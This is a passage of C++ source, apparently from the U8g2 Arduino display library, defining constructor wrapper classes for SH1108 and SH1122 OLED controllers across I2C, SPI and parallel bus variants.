U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_i2c_128x160_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1108_128X160_F_HW_I2C : public U8G2 { public: U8G2_SH1108_128X160_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_i2c_128x160_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1108_128X160_F_2ND_HW_I2C : public U8G2 { public: U8G2_SH1108_128X160_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_i2c_128x160_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1108_160X160_1_4W_SW_SPI : public U8G2 { public: U8G2_SH1108_160X160_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_160x160_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1108_160X160_1_4W_HW_SPI : public U8G2 { public: U8G2_SH1108_160X160_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_160x160_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1108_160X160_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1108_160X160_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_160x160_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1108_160X160_1_3W_SW_SPI : public U8G2 { public: U8G2_SH1108_160X160_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_160x160_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1108_160X160_1_3W_HW_SPI : public U8G2 { public: U8G2_SH1108_160X160_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_160x160_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1108_160X160_1_6800 : public U8G2 { public: U8G2_SH1108_160X160_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_160x160_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1108_160X160_1_8080 : public U8G2 { public: U8G2_SH1108_160X160_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_160x160_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1108_160X160_2_4W_SW_SPI : public U8G2 { public: U8G2_SH1108_160X160_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_160x160_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1108_160X160_2_4W_HW_SPI : public U8G2 { public: U8G2_SH1108_160X160_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_160x160_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1108_160X160_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1108_160X160_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_160x160_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1108_160X160_2_3W_SW_SPI : public U8G2 { public: U8G2_SH1108_160X160_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_160x160_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1108_160X160_2_3W_HW_SPI : public U8G2 { public: U8G2_SH1108_160X160_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_160x160_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1108_160X160_2_6800 : public U8G2 { public: U8G2_SH1108_160X160_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_160x160_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1108_160X160_2_8080 : public U8G2 { public: U8G2_SH1108_160X160_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_160x160_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1108_160X160_F_4W_SW_SPI : public U8G2 { public: U8G2_SH1108_160X160_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_160x160_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1108_160X160_F_4W_HW_SPI : public U8G2 { public: U8G2_SH1108_160X160_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_160x160_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1108_160X160_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1108_160X160_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_160x160_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1108_160X160_F_3W_SW_SPI : public U8G2 { public: U8G2_SH1108_160X160_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_160x160_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1108_160X160_F_3W_HW_SPI : public U8G2 { public: U8G2_SH1108_160X160_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_160x160_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1108_160X160_F_6800 : public U8G2 { public: U8G2_SH1108_160X160_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_160x160_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1108_160X160_F_8080 : public U8G2 { public: U8G2_SH1108_160X160_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_160x160_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1108_160X160_1_SW_I2C : public U8G2 { public: U8G2_SH1108_160X160_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_i2c_160x160_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1108_160X160_1_HW_I2C : public U8G2 { public: U8G2_SH1108_160X160_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_i2c_160x160_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1108_160X160_1_2ND_HW_I2C : public U8G2 { public: U8G2_SH1108_160X160_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_i2c_160x160_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1108_160X160_2_SW_I2C : public U8G2 { public: U8G2_SH1108_160X160_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_i2c_160x160_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1108_160X160_2_HW_I2C : public U8G2 { public: U8G2_SH1108_160X160_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_i2c_160x160_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1108_160X160_2_2ND_HW_I2C : public U8G2 { public: U8G2_SH1108_160X160_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_i2c_160x160_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1108_160X160_F_SW_I2C : public U8G2 { public: U8G2_SH1108_160X160_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_i2c_160x160_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1108_160X160_F_HW_I2C : public U8G2 { public: U8G2_SH1108_160X160_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_i2c_160x160_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1108_160X160_F_2ND_HW_I2C : public U8G2 { public: U8G2_SH1108_160X160_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_i2c_160x160_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1122_256X64_1_4W_SW_SPI : public U8G2 { public: U8G2_SH1122_256X64_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1122_256x64_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1122_256X64_1_4W_HW_SPI : public U8G2 { public: U8G2_SH1122_256X64_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1122_256x64_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1122_256X64_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1122_256X64_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1122_256x64_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1122_256X64_1_3W_SW_SPI : public U8G2 { public: U8G2_SH1122_256X64_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1122_256x64_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1122_256X64_1_3W_HW_SPI : public U8G2 { public: U8G2_SH1122_256X64_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1122_256x64_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1122_256X64_1_6800 : public U8G2 { public: U8G2_SH1122_256X64_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1122_256x64_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1122_256X64_1_8080 : public U8G2 { public: U8G2_SH1122_256X64_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1122_256x64_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1122_256X64_2_4W_SW_SPI : public U8G2 { public: U8G2_SH1122_256X64_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1122_256x64_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1122_256X64_2_4W_HW_SPI : public U8G2 { public: U8G2_SH1122_256X64_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1122_256x64_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1122_256X64_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1122_256X64_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1122_256x64_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1122_256X64_2_3W_SW_SPI : public U8G2 { public: U8G2_SH1122_256X64_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1122_256x64_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1122_256X64_2_3W_HW_SPI : public U8G2 { public: U8G2_SH1122_256X64_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1122_256x64_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1122_256X64_2_6800 : public U8G2 { public: U8G2_SH1122_256X64_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1122_256x64_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1122_256X64_2_8080 : public U8G2 { public: U8G2_SH1122_256X64_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1122_256x64_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1122_256X64_F_4W_SW_SPI : public U8G2 { public: U8G2_SH1122_256X64_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1122_256x64_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1122_256X64_F_4W_HW_SPI : public U8G2 { public: U8G2_SH1122_256X64_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1122_256x64_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1122_256X64_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1122_256X64_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1122_256x64_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1122_256X64_F_3W_SW_SPI : public U8G2 { public: U8G2_SH1122_256X64_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1122_256x64_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1122_256X64_F_3W_HW_SPI : public U8G2 { public: U8G2_SH1122_256X64_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1122_256x64_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1122_256X64_F_6800 : public U8G2 { public: U8G2_SH1122_256X64_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1122_256x64_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1122_256X64_F_8080 : public U8G2 { public: U8G2_SH1122_256X64_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1122_256x64_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1122_256X64_1_SW_I2C : public U8G2 { public: U8G2_SH1122_256X64_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1122_i2c_256x64_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1122_256X64_1_HW_I2C : public U8G2 { public: U8G2_SH1122_256X64_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1122_i2c_256x64_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1122_256X64_1_2ND_HW_I2C : public U8G2 { public: U8G2_SH1122_256X64_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1122_i2c_256x64_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1122_256X64_2_SW_I2C : public U8G2 { public: U8G2_SH1122_256X64_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1122_i2c_256x64_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1122_256X64_2_HW_I2C : public U8G2 { public: U8G2_SH1122_256X64_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1122_i2c_256x64_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1122_256X64_2_2ND_HW_I2C : public U8G2 { public: U8G2_SH1122_256X64_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1122_i2c_256x64_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1122_256X64_F_SW_I2C : public U8G2 { public: U8G2_SH1122_256X64_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1122_i2c_256x64_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); 